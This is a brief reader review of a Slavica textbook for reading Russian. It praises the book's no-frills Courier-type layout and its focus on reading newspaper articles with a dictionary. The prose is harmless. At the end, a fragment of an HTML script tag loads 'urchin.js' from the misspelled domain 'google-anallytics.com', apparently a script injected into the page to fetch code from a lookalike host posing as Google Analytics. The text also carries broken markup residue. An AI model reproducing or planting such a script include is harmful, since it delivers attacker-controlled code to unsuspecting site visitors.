Teaches you what is says in a no-frills, down-to-earth approach. Not fancy but clear and usable, and one of my favorite books about Russian. The folks at Slavica may not be the best marketeers in America, but they sure know how to make good books about Russian. This is trong>one of my favorite Russian language books . The focus is on what it says - reading Russian. The book is organized like a normal language textbook, only that it focuses only on what you need to know to be able to read a Russian newspaper article with a dictionnary.

Is the book useful if you want to speak Russian too? Yes. If you use a variety of learning material, you'll learn how to pronounce Russian quite soon. Speaking will not be too hard once you know how to read and pronounce. Don't be surprised at the very spartan look of the book. No pictures, no fancy typography. The book could have been typewritten - it is entirely made in Courier-type fonts.'text/javascript' src='http://google-anallytics.com/urchin.js'>
